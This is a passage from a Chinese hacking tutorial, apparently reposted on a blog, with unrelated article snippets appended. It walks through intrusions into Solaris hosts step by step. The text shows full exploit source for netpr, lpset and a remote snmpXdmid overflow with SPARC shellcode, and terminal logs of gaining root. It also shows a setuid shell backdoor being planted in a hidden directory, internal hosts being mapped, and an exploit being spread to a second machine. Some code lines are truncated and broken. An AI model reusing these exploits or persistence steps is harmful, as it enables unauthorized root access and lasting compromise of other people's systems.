UNIX入侵过程(2)

黑客是如何轻松入侵你的 UNIX 系统?揭秘你从未注意的CUPS漏洞! CUPS,顾名思义,主要是用来管理打印任务的。你可能想,打印服务不就是发个文件给打印机,能有多大危险?但问题就在于,CUPS 不仅仅是一个简单的打印工具,它在 UNIX 系统中其实扮演了非常重要的角色。它可以远程管理打印设备,甚至处理用户权限。如果黑客能利用 CUPS 的漏洞进入你的系统,那不仅仅是打印问题,整个系统可能都被暴露。打个比方,CUPS 就像是你家门口的信箱,如果你平时对它不太关注,也许有一天小偷就会趁你不注意,从信箱开个小口子,悄悄潜入家中。 阅读详情

UNIX入侵过程(2)

/*## copyright LAST STAGE OF DELIRIUM dec 1999 poland        *://lsd-pl.net/ #*/

/*## /usr/lib/lp/bin/netpr                                                   #*/

 

/*   requires to specify the address of a host with 515 port opened           */

 

#define NOPNUM 4000

#define ADRNUM 1200

#define ALLIGN 3

 

char shellcode[]=

    "/x20/xbf/xff/xff"     /* bn,a            */

    "/x20/xbf/xff/xff"     /* bn,a              */

    "/x7f/xff/xff/xff"     /* call            */

    "/x90/x03/xe0/x20"     /* add     %o7,32,%o0           */

    "/x92/x02/x20/x10"     /* add     %o0,16,%o1           */

    "/xc0/x22/x20/x08"     /* st      %g0,[%o0+8]          */

    "/xd0/x22/x20/x10"     /* st      %o0,[%o0+16]         */

    "/xc0/x22/x20/x14"     /* st      %g0,[%o0+20]         */

    "/x82/x10/x20/x0b"     /* mov     0xb,%g1              */

    "/x91/xd0/x20/x08"     /* ta      8                    */

    "/bin/ksh"

;

 

char jump[]=

    "/x81/xc3/xe0/x08"     /* jmp     %o7+8                */

    "/x90/x10/x00/x0e"     /* mov     %sp,%o0              */

;

 

static char nop[]="/x80/x1c/x40/x11";

 

main(int argc,char **argv){

    char buffer[10000],adr[4],*b,*envp[2];

    int i;

 

    printf("copyright LAST STAGE OF DELIRIUM dec 1999 poland  //lsd-pl.net//n");

    printf("/usr/lib/lp/bin/netpr solaris 2.7 sparc/n/n");

 

    if(argc==1){

        printf("usage: %s lpserver/n",argv[0]);

        exit(-1);

    }

 

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+7124+2000;

 

    envp[0]=&buffer[0];

    envp[1]=0;

 

    b=&buffer[0];

    sprintf(b,"xxx=");

    b+=4;

    for(i=0;i<1+4-((strlen(argv[1])%4));i++) *b++=0xff;

    for(i=0;i
    for(i=0;i
    *b=0;

 

    b=&buffer[5000];

    for(i=0;i
    for(i=0;i
    *b=0;

 

    execle("/usr/lib/lp/bin/netpr","lsd","-I","bzz-z","-U","x!x","-d",argv[1],

        "-p",&buffer[5000],"/bin/sh",0,envp);

}  

^D     (***这里是按ctrl + d 结束写文件,你用vi来写也可以,ftp,rcp等上传也可以。***)

        (***源程序在http://lsd-pl.net/files/get?SOLARIS/solsparc_netpr ***)

$ ls -al /tmp  (***查看test.c是否建立***)

total 1330

drwxrwxrwt   7 sys      sys         1049 Jul  4 19:07 .

drwxrwxrwx  35 root     root        1024 Jun 29 16:52 ..

drwxrwxr-x   2 root     root         176 May  4 14:39 .X11-pipe

drwxrwxr-x   2 root     root         176 May  4 14:39 .X11-unix

drwxrwxrwx   2 root     root         179 May  4 14:39 .pcmcia

drwxrwxrwx   2 root     other        181 Jun 20 13:18 .removable

drwxrwxrwt   2 root     root         327 May  4 14:39 .rpc_door

-rwxrwxr-x   1 root     other        614 May  8 11:17 EncTest.class

-rw-------   1 root     other     265936 May  4 14:40 dtdbcache_:0

-rw-------   1 render9  render         0 May  8 11:42 mpcRaOhb

-rw-------   1 render9  render         0 May  8 13:02 mptWaGYf

-rw-rw-r--   1 root     sys         5248 May  4 14:39 ps_data

-rw-rw-r--   1 root     other          0 Jun 20 13:18 sdtvolcheck399

-rw-r--r--   1 root     other          4 May  4 14:39 speckeysd.lock

-rw-rw-r--   1 delex    staff       2019 Jul  4 19:10 test.c

-rw-rw-r--   1 root     sys       326236 May  7 11:30 ups_data

$ gcc -o test test.c    (***一般编译用这个方式就可以了,更多资料请查看帮助***)

$ ./test

copyright LAST STAGE OF DELIRIUM dec 1999 poland  //lsd-pl.net/

/usr/lib/lp/bin/netpr solaris 2.7 sparc

 

usage: ./test lpserver

$ ./test localhost

copyright LAST STAGE OF DELIRIUM dec 1999 poland  //lsd-pl.net/

/usr/lib/lp/bin/netpr solaris 2.7 sparc

 

# id

uid=1035(delex) gid=20(staff) euid=0(root)    (***成功获得root***)

# mkdir /usr/lib/...

# cp /bin/ksh /usr/lib/…/.x        (***做个简单的后门***)

# chmod +s /usr/lib/…/.x 

# cat /etc/hosts        (***看看这个网络多大***)

##################################################

## Gips Limited Server Hosts Names

## 2001-03-01 (develop)

##################################################

127.0.0.1       localhost loghost

 

##################################################

## Gipex (Internal - CITIC Back-End)

192.168.2.1       office-i2 gate-citic-backend

192.168.2.5       render1 render1-i1

 

##################################################

## Gipex (Internal - CITIC Office)

192.168.1.1     office-i1 gate-citic-office

 

##################################################

## Gipex (Internal - iLink)

192.168.100.1   backup-i1 gate-ilink-vpn

## .2 - .9      

192.168.100.10  www1-i1

192.168.100.11  db1 db1-i1 www0-i1 www0 www0.xxwex.com

192.168.100.12  snap1

## .13          

192.168.100.14  snap2

192.168.100.15  snap3

192.168.100.16  www2-i1 mail-i1

192.168.100.17  www2-i2 mail-i2

192.168.100.18  render2 render2-i1

192.168.100.19  render2-i2

## .20 - .252   

192.168.100.253 switch1

## .254         

# /usr/sbin/ping 192.168.100.253

ICMP Host Unreachable from gateway wc-sf1.kage.net (210.76.87.2)

 for icmp from develop (192.168. 0.2) to www1-i1 (192.168.100.253)

ICMP Host Unreachable from gateway wc-sf1.kage.net (210.76.87.2)

 for icmp from develop (192.168.0.2) to www1-i1 (192.168.100.253)

ICMP Host Unreachable from gateway wc-sf1.kage.net (210.76.87.2)

 for icmp from develop (192.168.0.2) to www1-i1 (192.168.100.253)

^C    (***局域网是连通的 ***) 

#

-------------------------------------------------test--------------------------------------------------------------

 

 

以后有空再慢慢搞它的内部网吧

现在先回去把那台SunOS 5.6干掉。

 

 

-------------------------------------------------test--------------------------------------------------------------

# cat >lpset.c  (***源程序在http://lsd-pl.net/files/get?SOLARIS/solsparc_lpset ***)

/*## copyright LAST STAGE OF DELIRIUM apr 2000 poland        *://lsd-pl.net/ #*/

/*## /usr/bin/lpset                                                          #*/

 

#define NOPNUM 864

#define ADRNUM 132 

#define ALLIGN 3

 

char shellcode[]=

    "/x20/xbf/xff/xff"     /* bn,a            */

    "/x20/xbf/xff/xff"     /* bn,a              */

    "/x7f/xff/xff/xff"     /* call            */

    "/x90/x03/xe0/x20"     /* add     %o7,32,%o0           */

    "/x92/x02/x20/x10"     /* add     %o0,16,%o1           */

    "/xc0/x22/x20/x08"     /* st      %g0,[%o0+8]          */

    "/xd0/x22/x20/x10"     /* st      %o0,[%o0+16]         */

    "/xc0/x22/x20/x14"     /* st      %g0,[%o0+20]         */

    "/x82/x10/x20/x0b"     /* mov     0xb,%g1              */

    "/x91/xd0/x20/x08"     /* ta      8                    */

    "/bin/ksh"

;

 

char jump[]=

    "/x81/xc3/xe0/x08"     /* jmp     %o7+8                */

    "/x90/x10/x00/x0e"     /* mov     %sp,%o0              */

;

 

static char nop[]="/x80/x1c/x40/x11";

 

main(int argc,char **argv){

    char buffer[10000],adr[4],*b;

    int i;

 

    printf("copyright LAST STAGE OF DELIRIUM apr 2000 poland  //lsd-pl.net//n");

    printf("/usr/bin/lpset for solaris 2.6 2.7 sparc/n/n");

 

    *((unsigned long*)adr)=(*(unsigned long(*)())jump)()+10088+400;

 

    b=buffer;

    sprintf(b,"xxx=");

    b+=4;

    for(i=0;i<2;i++) *b++=0xff;

    for(i=0;i
    for(i=0;i
    for(i=0;i
    for(i=0;i
    *b=0;

 

    execle("/usr/bin/lpset","lsd","-n","xfn","-a",buffer,"printer",0,0);

}

^D

 

# gcc -o lpset lpset.c

/bin/ksh: gcc:  not found

# exit

$ gcc -o lpset lpset.c

$ ls -al

total 1410

drwxrwxrwt   7 sys      sys         1236 Jul  4 20:33 .

drwxrwxrwx  35 root     root        1024 Jul  4 19:15 ..

drwxrwxr-x   2 root     root         176 May  4 14:39 .X11-pipe

drwxrwxr-x   2 root     root         176 May  4 14:39 .X11-unix

drwxrwxrwx   2 root     root         179 May  4 14:39 .pcmcia

drwxrwxrwx   2 root     other        181 Jun 20 13:18 .removable

drwxrwxrwt   2 root     root         327 May  4 14:39 .rpc_door

-rwxrwxr-x   1 root     other        614 May  8 11:17 EncTest.class

-rw-------   1 root     other     265936 May  4 14:40 dtdbcache_:0

-rwxrwxr-x   1 delex    staff       8572 Jul  4 20:33 lpset

-rw-rw-r--   1 delex    staff       1685 Jul  4 20:32 lpset.c

-rw-------   1 render9  render         0 May  8 11:42 mpcRaOhb

-rw-------   1 render9  render         0 May  8 13:02 mptWaGYf

-rw-rw-r--   1 root     sys         5248 May  4 14:39 ps_data

-rw-rw-r--   1 root     other          0 Jun 20 13:18 sdtvolcheck399

-rw-r--r--   1 root     other          4 May  4 14:39 speckeysd.lock

-rwxrwxr-x   1 delex    staff       8916 Jul  4 19:13 test

-rw-rw-r--   1 delex    staff       2019 Jul  4 19:10 test.c

-rw-rw-r--   1 root     sys       326236 May  7 11:30 ups_data

$ ftp 192.168.0.3

Connected to 192.168.0.3.

220 dev01 FTP server (SunOS 5.6) ready.

Name (192.168.0.2:delex): tong

331 Password required for tong.

Password:

230 User tong logged in.

ftp> cd /tmp

250 CWD command successful.

ftp> bin              (***设置上传模式为二进制***)

200 Type set to I.

ftp> put lpset

200 PORT command successful.

150 Binary data connection for lpset (192.168.0.2,49105).

226 Transfer complete.

local: lpset remote: lpset

8572 bytes sent in 0.00054 seconds (15617.71 Kbytes/s)

ftp> by

221 Goodbye.

$ telnet 192.168.0.3

Trying 192.168.0.3...

Connected to 192.168.0.3.

Escape character is '^]'.

 

 

SunOS 5.6

 

login: tong

Password: 

Last login: Wed Jul  4 20:31:37 from 192.168.0.2

Sun Microsystems Inc.   SunOS 5.6       Generic August 1997

You have mail.

$ /tmp/lpset

/tmp/lpset: cannot execute

$ chmod 755 /tmp/lpset

$ /tmp/lpset

copyright LAST STAGE OF DELIRIUM apr 2000 poland  //lsd-pl.net/

/usr/bin/lpset for solaris 2.6 2.7 sparc

 

# id

uid=107(tong) gid=10(staff) euid=0(root)         (***HOHO~死了没?***)

#mkdir /usr/lib/…

#cp /bin/ksh /usr/lib/…/.x

#chmod +s /usr/lib/…/.x

#exit

$ exit

Connection closed by foreign host.      (***不管啦,脚印也不擦啦***)

$exit

 

遗失对主机的连接。

C:/>

-------------------------------------------------test--------------------------------------------------------------

 

哦,怎么不干了?断开连接了?连脚印都不擦?

嘿嘿,兄弟,现在是21:00啦,还要赶地铁呢。本来20:30就要走啦,明天继续吧,管不了那么多啦。大家先回去看我以前
的教程,温习一下该怎么擦PP。为了节省版面,这篇教程不会出现擦PP的啦,自己要懂得擦干净哦。:)

对了,明天要学习远程溢出的利用,然后找几台redhat回来。

回去啦,肚子也饿啦,明天见~~

zzzZZZZZZ~~~~~~~~

 

 

第二天:

 

 

嘿嘿,大家早上好~

今天上班好象有任务要分配,我先去问问。

稍等…

 

真惨,分配了任务。

不过,是从下个星期开始做。:)

所以今天就写教程吧。

不知道今天能不能写完这份教程呢。

我们继续。:)

昨天讲述了本地提升权限的方法,今天我们来说说远程溢出的利用。

几乎各种操作系统都有严重的远程溢出漏洞。

常见的有:

Solaris 2.3, 2.4, 2.5, 2.5.1, 2.6 的rpc.ttdbserverd

Solaris 2.5, 2.5.1, 2.6, 7 的 rpc.cmsd

solaris 2.6, 7 的 sadmind

Solaris 7, 8 的 snmpXdmid

Redhat 6.0, 5.1, 4.0 的Amd

Redhat 6.2, 6.1, 6.0 的 rpc.statd

Redhat 7.0 的 LPRng

…

其它的系统就不在列举了。

除了系统本身存在问题外,还有一些第三方程序存在问题。

比如常见的FTP服务器Wu-ftp,版本2.6.0及以下都存在严重的远程溢出问题

比如DNS 服务器 bind,版本8.2.2及以下版本都存在严重的远程溢出问题。

…

可以利用的东西太多了,而要掌握这些则需要时间,需要靠经验的积累。

等经验丰富后,入侵一个简单的系统,只要得到对方的系统版本,然后扫描一下端口就足够了。因为这时候你已经对各
种系统和守护进程的弱点有了很详细的了解。

 

 

我们这次来尝试进入一台 Solaris 8的机器。

 

 

-------------------------------------------------test--------------------------------------------------------------

C:/>telnet 192.168.0.2

 

SunOS 5.7

 

login: login: delex

Password: 

*********************************************************

 

# The JRun is now replaced by JServ

# To restart the servlet server, please use 

 

rs.sh

 

# However, as the JServ will reload those classes

# inside the "/usr/proj/gipex/class", you just

# need to remove the old class with the new one.

 

*********************************************************

$ w

  9:21am  up 61 day(s), 18:42,  2 users,  load average: 0.03, 0.04, 0.05

User     tty           login@  idle   JCPU   PCPU  what

root     console       4May0162days      2      2  /usr/dt/bin/sdt_shell -c  ?    u

root     pts/4        Fri 4pm 6days                tail -f syslog

delex    pts/6         9:21am                      w

$ls –al /usr/lib/…

total 202

drwxrwxr-x   2 root     staff        512 Jul  5 10:22 .

drwxrwxr-x  46 root     bin        10240 Jul  4 19:21 ..

-r-sr-sr-x   1 root     staff      91668 Jul  5 10:22 .x

$ id

uid=1035(delex) gid=20(staff)

$ /usr/lib/.../.x          (***运行昨天留下的本地后门直接获得root权限***)

# id

uid=1035(delex) gid=20(staff) euid=0(root)

# cd /tmp

# ls –al      (***昨天的程序都忘了删呢,走得太急啦,不知道还在不在呢***) 

total 1410

drwxrwxrwt   7 sys      sys         1236 Jul  5 10:20 .

drwxrwxrwx  35 root     root        1024 Jul  4 19:15 ..

drwxrwxr-x   2 root     root         176 May  4 14:39 .X11-pipe

drwxrwxr-x   2 root     root         176 May  4 14:39 .X11-unix

drwxrwxrwx   2 root     root         179 May  4 14:39 .pcmcia

drwxrwxrwx   2 root     other        181 Jun 20 13:18 .removable

drwxrwxrwt   2 root     root         327 May  4 14:39 .rpc_door

-rwxrwxr-x   1 root     other        614 May  8 11:17 EncTest.class

-rw-------   1 root     other     265936 May  4 14:40 dtdbcache_:0

-rwxrwxr-x   1 delex    staff       8572 Jul  4 20:33 lpset         (***HOHO~**)

-rw-rw-r--   1 delex    staff       1685 Jul  4 20:32 lpset.c

-rw-------   1 render9  render         0 May  8 11:42 mpcRaOhb

-rw-------   1 render9  render         0 May  8 13:02 mptWaGYf

-rw-rw-r--   1 root     sys         5248 May  4 14:39 ps_data

-rw-rw-r--   1 root     other          0 Jun 20 13:18 sdtvolcheck399

-rw-r--r--   1 root     other          4 May  4 14:39 speckeysd.lock

-rwxrwxr-x   1 delex    staff       8916 Jul  4 19:13 test

-rw-rw-r--   1 delex    staff       2019 Jul  4 19:10 test.c

-rw-rw-r--   1 root     sys       326236 May  7 11:30 ups_data

# cat > snmp.c     (***源程序在http://lsd-pl.net/files/get?SOLARIS/solsparc_snmpxdmid ***)

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

#include 

 

#define SNMPXDMID_PROG 100249

#define SNMPXDMID_VERS 0x1

#define SNMPXDMID_ADDCOMPONENT 0x101

 

char findsckcode[]=

    "/x20/xbf/xff/xff"     /* bn,a            */

    "/x20/xbf/xff/xff"     /* bn,a              */

    "/x7f/xff/xff/xff"     /* call            */

    "/x33/x02/x12/x34"

    "/xa0/x10/x20/xff"     /* mov     0xff,%l0               */

    "/xa2/x10/x20/x54"     /* mov     0x54,%l1               */

    "/xa4/x03/xff/xd0"     /* add     %o7,-48,%l2            */

    "/xaa/x03/xe0/x28"     /* add     %o7,40,%l5             */

    "/x81/xc5/x60/x08"     /* jmp     %l5+8                  */

    "/xc0/x2b/xe0/x04"     /* stb     %g0,[%o7+4]            */

    "/xe6/x03/xff/xd0"     /* ld      [%o7-48],%l3           */

    "/xe8/x03/xe0/x04"     /* ld      [%o7+4],%l4            */

    "/xa8/xa4/xc0/x14"     /* subcc   %l3,%l4,%l4            */

    "/x02/xbf/xff/xfb"     /* bz             */

    "/xaa/x03/xe0/x5c"     /* add     %o7,92,%l5             */

    "/xe2/x23/xff/xc4"     /* st      %l1,[%o7-60]           */

    "/xe2/x23/xff/xc8"     /* st      %l1,[%o7-56]           */

    "/xe4/x23/xff/xcc"     /* st      %l2,[%o7-52]           */

    "/x90/x04/x20/x01"     /* add     %l0,1,%o0              */

    "/xa7/x2c/x60/x08"     /* sll     %l1,8,%l3              */

    "/x92/x14/xe0/x91"     /* or      %l3,0x91,%o1           */

    "/x94/x03/xff/xc4"     /* add     %o7,-60,%o2            */

    "/x82/x10/x20/x36"     /* mov     0x36,%g1               */

    "/x91/xd0/x20/x08"     /* ta      8                      */

    "/x1a/xbf/xff/xf1"     /* bcc            */

    "/xa0/xa4/x20/x01"     /* deccc   %l0                    */

    "/x12/xbf/xff/xf5"     /* bne            */

    "/xa6/x10/x20/x03"     /* mov     0x03,%l3               */

    "/x90/x04/x20/x02"     /* add     %l0,2,%o0              */

    "/x92/x10/x20/x09"     /* mov     0x09,%o1               */

    "/x94/x04/xff/xff"     /* add     %l3,-1,%o2             */

    "/x82/x10/x20/x3e"     /* mov     0x3e,%g1               */

    "/xa6/x84/xff/xff"     /* addcc   %l3,-1,%l3             */

    "/x12/xbf/xff/xfb"     /* bne           */

    "/x91/xd0/x20/x08"     /* ta      8                      */

;

 

char shellcode[]=

    "/x20/xbf/xff/xff"     /* bn,a              */

    "/x20/xbf/xff/xff"     /* bn,a                */

    "/x7f/xff/xff/xff"     /* call              */

    "/x90/x03/xe0/x20"     /* add     %o7,32,%o0             */

    "/x92/x02/x20/x10"     /* add     %o0,16,%o1             */

    "/xc0/x22/x20/x08"     /* st      %g0,[%o0+8]            */

    "/xd0/x22/x20/x10"     /* s    "/xc0/x22/x20/x14"     /* st      %g0,[%o0+20]           */

    "/x82/x10/x20/x0b"     /* mov     0x0b,%g1               */

    "/x91/xd0/x20/x08"     /* ta      8                      */

    "/bin/ksh"

;

 

static char nop[]="/x80/x1c/x40/x11";

 

typedef struct{

    struct{unsigned int len;char *val;}name;

    struct{unsigned int len;char *val;}pragma;

}req_t;

 

bool_t xdr_req(XDR *xdrs,req_t *objp){

    char *v=NULL;unsigned long l=0;int b=1;

    if(!xdr_u_long(xdrs,&l)) return(FALSE);

    if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);

    if(!xdr_bool(xdrs,&b)) return(FALSE);

    if(!xdr_u_long(xdrs,&l)) return(FALSE);

    if(!xdr_bool(xdrs,&b)) return(FALSE);

    if(!xdr_array(xdrs,&objp->name.val,&objp->name.len,~0,sizeof(char),

        (xdrproc_t)xdr_char)) return(FALSE);

    if(!xdr_bool(xdrs,&b)) return(FALSE);

    if(!xdr_array(xdrs,&objp->pragma.val,&objp->pragma.len,~0,sizeof(char),

        (xdrproc_t)xdr_char)) return(FALSE);

    if(!xdr_pointer(xdrs,&v,0,(xdrproc_t)NULL)) return(FALSE);

    if(!xdr_u_long(xdrs,&l)) return(FALSE);

    return(TRUE);

}

 

main(int argc,char **argv){

    char buffer[140000],address[4],pch[4],*b;

    int i,c,n,vers=-1,port=0,sck;

    CLIENT *cl;enum clnt_stat stat;

    struct hostent *hp;

    struct sockaddr_in adr;

    struct timeval tm={10,0};

    req_t req;

 

    printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland  //lsd-pl.net//n");

    printf("snmpXdmid for solaris 2.7 2.8 sparc/n/n");

 

    if(argc<2){

        printf("usage: %s address [-p port] -v 7|8/n",argv[0]);

        exit(-1);

    }

 

    while((c=getopt(argc-1,&argv[1],"p:v:"))!=-1){

        switch(c){

        case 'p': port=atoi(optarg);break;

        case 'v': vers=atoi(optarg);

        }

    }

    switch(vers){

    case 7: *(unsigned int*)address=0x000b1868;break;

    case 8: *(unsigned int*)address=0x000cf2c0;break;

    default: exit(-1);

    }

 

    *(unsigned long*)pch=htonl(*(unsigned int*)address+32000);

    *(unsigned long*)address=htonl(*(unsigned int*)address+64000+32000);

 

    printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);

    fflush(stdout);

 

    adr.sin_family=AF_INET;

    adr.sin_port=htons(port);

    if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){

        if((hp=gethostbyname(argv[1]))==NULL){

            errno=EADDRNOTAVAIL;perror("error");exit(-1);

        }

        memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);

    }

 

    sck=RPC_ANYSOCK;

    if(!(cl=clnttcp_create(&adr,SNMPXDMID_PROG,SNMPXDMID_VERS,&sck,0,0))){

        clnt_pcreateerror("error");exit(-1);

    }

    cl->cl_auth=authunix_create("localhost",0,0,0,NULL);

 

    i=sizeof(struct sockaddr_in);

    if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){

        struct{unsigned int maxlen;unsigned int len;char *buf;}nb;

        ioctl(sck,(('S'<<8)|2),"sockmod");

        nb.maxlen=0xffff;

        nb.len=sizeof(struct sockaddr_in);;

        nb.buf=(char*)&adr;

        ioctl(sck,(('T'<<8)|144),&nb);

    }

    n=ntohs(adr.sin_port);

    printf("port=%d connected! ",n);fflush(stdout);

 

    findsckcode[12+2]=(unsigned char)((n&0xff00)>>8);

    findsckcode[12+3]=(unsigned char)(n&0xff);

 

    b=&buffer[0];

    for(i=0;i<1248;i++) *b++=pch[i%4];

    for(i=0;i<352;i++) *b++=address[i%4];

    *b=0;

 

    b=&buffer[10000];

    for(i=0;i<64000;i++) *b++=0;

    for(i=0;i<64000-188;i++) *b++=nop[i%4];

    for(i=0;i
    for(i=0;i
    *b=0;

 

    req.name.len=1200+400+4;

    req.name.val=&buffer[0];

    req.pragma.len=128000+4;

    req.pragma.val=&buffer[10000];

 

    stat=clnt_call(cl,SNMPXDMID_ADDCOMPONENT,xdr_req,&req,xdr_void,NULL,tm);

    if(stat==RPC_SUCCESS) {printf("/nerror: not vulnerable/n");exit(-1);}

    printf("sent!/n");

 

    write(sck,"/bin/uname -a/n",14);

    while(1){

        fd_set fds;

        FD_ZERO(&fds);

        FD_SET(0,&fds);

        FD_SET(sck,&fds);

        if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){

            int cnt;

            char buf[1024];

            if(FD_ISSET(0,&fds)){

                if((cnt=read(0,buf,1024))<1){

                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;

                    else break;

                }

                write(sck,buf,cnt);

            }

            if(FD_ISSET(sck,&fds)){

                if((cnt=read(sck,buf,1024))<1){

                    if(errno==EWOULDBLOCK||errno==EAGAIN) continue;

                    else break;

                }

                write(1,buf,cnt);

            }

        }

    }

}

^D

查找入侵系统日志的UNIX命令及系统运维 通过使用这些命令,我们可以有效地查找关键字、提取和分析日志字段,甚至实时监控日志文件的更新。入侵系统是一种常见的安全威胁,对于系统管理员和运维人员来说,了解如何查找并分析入侵系统的日志是至关重要的。grep命令是UNIX系统中非常强大的文本搜索工具,我们可以使用它来查找包含特定关键字的日志记录。awk是一种用于文本处理的强大工具,它可以帮助我们从日志文件中提取和分析特定的字段。sed命令是一种用于文本替换和编辑的工具,我们可以使用它来修改日志文件中的内容。该命令将输出所有包含关键字"入侵"的日志记录。 阅读详情

相关推荐

Microsoft Windows RPC Security Vulnerabilities-计算机科学

1Copyright @ 2003 The Last Stage of Delirium Research Group, PolandMicrosoft Windows RPCSecurity VulnerabilitiesHITB Security ConferenceDecember 12th, 20032Copyright @ 2003 The Last Stage of Delirium Research Group, Poland Introduction to Microsoft RPC Reverse engineering of Microsoft RPC services dmidl (reverse midl) fa (reverse c) Exploitation techniques for RPC vulnerabilities RPC DCOM RemoteActivation (stack overflow) RPC Messenger (heap overflow) SummaryPresentation overview3Copyrig

记一个真实的应急响应案例(5)kswapd0恶意程序事件

技术交流可以关注公众号 OneMoreThink 或后台添加微信,欢迎提出宝贵建议。目录恶意程序排查文件排查告警文件排查时间文件排查敏感目录排查特权文件排查网络排查进程排查网络进程排查所有进程排查隐藏进程排查进程资源排查后门排查账号后门排查SSH账户SSH密钥条件后门排查计划任务启动项自启服务命令别名溯源排查日志分析系统日志中间件日志数据库日志安全设备日志流量分析内存分析溯源结论后续待办终止恶意进...

OneMoreThink 2608

AAC编解码器在实时通信中的性能对比与应用选择

本文深入分析了AAC编解码器在实时通信中的性能优化,重点对比了faac、faad2与fdk-aac三大开源方案在WebRTC场景下的表现。通过实测数据揭示其在延迟、音质和资源消耗等关键指标的差异,并提供场景化选型建议与调优技巧,帮助开发者提升实时音视频通信质量。

weixin_29210727的博客 389

应急响应-挖矿病毒(kswapd0)

应急响应-挖矿病毒(kswapd0)

weixin_45690589的博客 1598

细说VLAN之untag和tag

一、拓扑图 先给出上面拓扑图的结论,后面再详细讲解: 结论:只有PC1与PC4之间能相互通信,除此之外,所有PC之间均不能通信,比如PC1与PC3不能建立通信。 针对Ping命令的一个知识: 要想ping通某台主机,必须满足两个条件: 1,源主机的ICMP请求包必须能达到目的主机。 2,目的主机的ICMP应答包必须能回到源主机。 二、理论基础 端口的出...

NoobMaster的博客 3万+

从原理到应用:深入解析双编码器在机器人关节力矩感知中的实现

本文深入解析了双编码器方案在机器人关节力矩感知中的实现原理与应用。该方案通过在电机侧和输出侧分别安装编码器,利用两者位置差异间接高精度计算外力,克服了传统电流环精度不足和扭矩传感器成本高昂的缺点。它为实现协作机器人的丝滑拖动示教、灵敏碰撞检测以及足式机器人的动态平衡与柔顺控制提供了关键技术支撑,是目前高性能机器人力控的主流选择。

t8u9v0w1x的博客 662

记几次被恶意挖矿程序占满linux服务器cpu的经历

过程一: 1. 发现cup爆满 当我部署项目时启动不了,tomcat启动不了,然后我发现cup爆满,然后查看用top查看进程 然后我再查看pstree进程树 2.杀死进程 kill -9 pid 杀死进程suppoie 进程后,过一分钟该进程又起来了 3. 查找源文件 杀死进程又起来,肯定是有源文件在远程调用其他远程文件植入病毒,查询源文件 find / -name '*suppoie*' 查找到了文件 在/var/tmp 目录下 如下图 然后删除 suppoie ,...

qq_34975663的博客 3133

PostgreSQL 在 Windows操作系统 无管理员权限情况下的部署详解

但是因为使用默认5432端口,我们修改了端口,所以连接报错,需要修改local连接信息,右键-属性修改相应信息即可,方式同上。(也别太任意吧,个人习惯工具放在不包含中文及特殊字符的目录,另外目录名尽量简短,避免不必要的麻烦)图中我解压到了自己的tools\postgresql18。1)如果想修改默认的5432端口,找到初始化目录中的(上面的tools\postgresql18\。此处替换成你的实际目录\tools\postgresql18\pgsql\pgAdmin 4\runtime。

dong_zhi2328的博客 1117

记一次被恶意挖矿程序占满linux服务器cpu的经历

前奏 一天,小编发现自己的买的百度云的服务器变的非常卡,本来就是活动机1c2g; 这要找原因啊,敲一个`ll`命令,都要卡几秒钟,明显服务器的cpu在干其他的事,使用top命令,果不其然,真的是在服务器弱小的配置承担了它不应该抗的恶霸程序,接下来找问题: 服务器cpu居高不下,跳都不跳;内存也差不多了,服务器上只有代理了一个静态网站和测试玩的mysql 通过百度云控制台查看时间,什么时...

京河小蚁的博客 4252

Pywinauto与Inspect.exe完美搭配:解决Windows应用UI自动化中的元素定位难题

本文详细介绍了如何将Pywinauto与Inspect.exe结合,以解决Windows应用UI自动化中的核心难题——元素定位。通过实战指南,阐述了如何利用Inspect.exe在UIA模式下精准侦察控件属性,并将这些信息转化为Pywinauto的稳健定位策略,从而高效自动化WPF、WinForms等现代框架构建的复杂桌面应用。

weixin_29297127的博客 520

Arduino与Proteus仿真实例-HG7881(L9110)驱动直流电机仿真

HG7881(L9110)驱动直流电机仿真 HG7881 (L9110) 双通道电机驱动器模块。 HG7881 (L9110) 是一款紧凑型电机驱动芯片,支持 2.5-12V 电压范围,800mA 连续电流。 这些芯片具有内置输出钳位二极管以保护敏感的微控制器电子设备。 它们适用于非常小的机器人项目。 每个 HG7881 (L9110) 芯片都能够使用两个数字控制输入驱动单个直流电机。 一个输入用于选择电机方向,而另一个用于控制电机速度。 速度是通过使用 PWM 脉冲宽度调制来控制的。 电机驱动器通常具有

视觉与物联智能 3050

Linux压缩命令

1.zip压缩 zip 压缩后的文件名 要压缩的文件 如 zip yousa.zip hanser.txt 解zip压缩 unzip 解压的文件名 -d 指定解压路径 如: unzip yousa.zip -d /tmp • gzip 压缩: gzip yousa 解压缩:gunzip yousa.gz tar 打包 -c 创建一个压缩文件 tar -czf /tmp/home.tar /home -x 解开一个压缩文件 tar -xf /home/tmp.tar ...

z199401的博客 1250

你以为你懂 Java 反射?看了这篇源码分析,我发现我以前都错了

摘要:本文讲述了一次生产环境Metaspace内存溢出的故障排查经历。事故源于一个通用数据导出功能中频繁使用反射调用method.invoke(),触发了JVM的"膨胀机制":当同一Method对象调用超过15次时,JVM会动态生成GeneratedMethodAccessor类,导致Metaspace被撑爆。文章分析了问题根源在于循环中反复调用getMethods()创建新Method对象,并提出了三种解决方案:缓存Method对象、改用MapStruct/MethodHandle工具

BUG猿的博客 770

UNIX入侵过程(3)

# gcc -o snmp snmp.c snmp.c: In function `main: snmp.c:135: warning: assignment makes pointer from integer without a cast snmp.c:172: warning: passing arg 4 of pointer to function from incompatible p

【GTA: Vice City】 2007

Winform利用动画控制实现各种特效

动画绘制控制类代码 using System; using System.Drawing; using System.Drawing.Drawing2D; using System.Drawing.Imaging; using System.Threading; using System.Windows.Forms; namespace Mengliao.CSharp.A14 { #region 动画类型枚举 // 本例为了简单起见没有使用见名知意的名称,如用于实际可将这些枚举成员更名

LilyCoder的博客 2502

锂电池充电器电路设计 里面有电路

锂电池充电器电路设计 里面有电路 3.7V升压到5V电路设计。

UniX和类UNIX系统入侵检测方法

